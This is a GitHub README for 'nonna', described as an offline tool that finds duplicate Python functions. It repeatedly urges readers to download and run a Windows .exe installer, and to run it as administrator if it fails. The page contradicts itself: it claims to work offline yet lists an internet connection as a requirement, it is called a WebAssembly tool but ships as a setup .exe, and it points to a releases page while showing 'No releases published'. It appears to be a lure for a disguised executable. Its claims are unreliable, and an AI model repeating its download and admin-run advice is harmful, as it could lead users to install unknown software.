Skip to content

Effervescent-continuousreceiverwatch400/nonna

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 

Repository files navigation

🛡️ nonna - Find Duplicate Code Easily

Download nonna


nonna helps you find repeated code in your projects. It looks for copies of functions that do the same thing, even if their names differ. nonna runs on your Windows computer without needing an internet connection.

📋 What is nonna?

nonna is a tool that finds identical pieces of code in your Python projects. If you often copy and paste code between files, nonna finds these duplicates. It helps keep your code clean and easier to manage. The tool works locally on your computer, so your code stays private. It uses WebAssembly to run fast and smoothly.

💻 System Requirements

To use nonna on Windows, your computer should meet these basic requirements:

  • Windows 10 or newer
  • At least 4 GB of RAM
  • 500 MB of free disk space
  • Internet connection to download the program

nonna will run on most consumer laptops or desktops without any extra setup. No programming experience is needed to start using it.

🚀 Getting Started

Follow these steps to download and run nonna on your Windows machine.

1. Download nonna

Visit the official releases page to get the program:

Download nonna

This link takes you to the page where you find the latest version installers and files. Look for a file with .exe in its name, such as nonna-setup.exe. This is the installer you need.

2. Run the installer

  • Double-click the downloaded .exe file.
  • If Windows asks, allow the installer to make changes to your device.
  • Follow the instructions on the screen. Accept the default installation folder unless you want to pick another location.
  • Wait for the installation to finish.

3. Start nonna

  • Find the nonna shortcut on your desktop or start menu.
  • Double-click to open the program.
  • The main window will allow you to load your code project.

📂 How to Use nonna

Once nonna is open, you can scan your Python code to find duplicates.

Step 1: Select your project folder

  • Click the "Browse" button.
  • Navigate to the folder where your Python code lives.
  • Select the folder and confirm.

Step 2: Start the scan

  • Click the "Scan" button.
  • nonna will analyze the code for duplicate functions.
  • This may take a few moments depending on your project size.

Step 3: Review the results

  • After the scan, nonna shows a list of duplicate code groups.
  • Each group contains functions that nonna found to be structurally the same.
  • You can click on each result to see the matching code snippets side by side.

Step 4: Take action

You can use nonna's information to clean up your code:

  • Rename or remove duplicate functions.
  • Consolidate repeated code into one place.
  • Improve your project's structure and maintainability.

⚙️ Features

  • Detects duplicate code even when function names differ
  • Works offline with no cloud uploads
  • Fast scans using WebAssembly technology
  • Simple interface for non-programmers
  • Supports Python projects of any size
  • Shows detailed comparison of duplicated functions

🔧 Troubleshooting

If nonna does not work as expected, try these steps:

  • Ensure your Windows is up to date.
  • Verify you downloaded the correct installer version.
  • Restart your computer if installation fails.
  • If the program does not open, right-click the shortcut and choose "Run as administrator."
  • Check that your code folder contains Python files with .py extension.
  • For scan errors, try scanning smaller folders first.

📋 Additional Tips

  • Keep your code organized in folders to improve scan results.
  • Run nonna regularly to catch code duplication early.
  • Use the comparison view to understand where fixes are needed.
  • If you have many large files, be patient during the initial scan.

🔗 Download nonna

You can always visit the releases page to get the latest version here:

Download nonna

Look for the installer file ending with .exe and follow the installation steps.


🛠️ About This Tool

nonna combines Python and Rust code to find duplicate functions rapidly. It uses static analysis to parse your code structure. Then it compares function bodies for similarity, ignoring function names and minor differences.

By keeping code duplication low, you can improve readability and reduce bugs when changing code in one place.

This tool is made for developers but designed so anyone can use it.


📚 Learn More

The project includes detailed documentation on the GitHub page. You can find instructions on command line usage, configuration options, and development details if interested.


🔤 Supported Languages

Currently, nonna focuses on Python code, but it is built on technology that may support other languages in the future. This includes use of tree-sitter for parsing.


⚖️ License

nonna is available under an open source license. You can check the repository for full license details.


🏷️ Topics

  • ai
  • code-analysis
  • code-duplication
  • code-review
  • developer-tools
  • python
  • rust
  • static-analysis
  • webassembly
  • tree-sitter

If you encounter issues or want to contribute, use the GitHub repository’s Issues and Pull Requests features. This helps improve nonna for all users.

About

Detect structurally similar Python functions to find copy-paste code with different names, improving code quality through precise slop detection.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors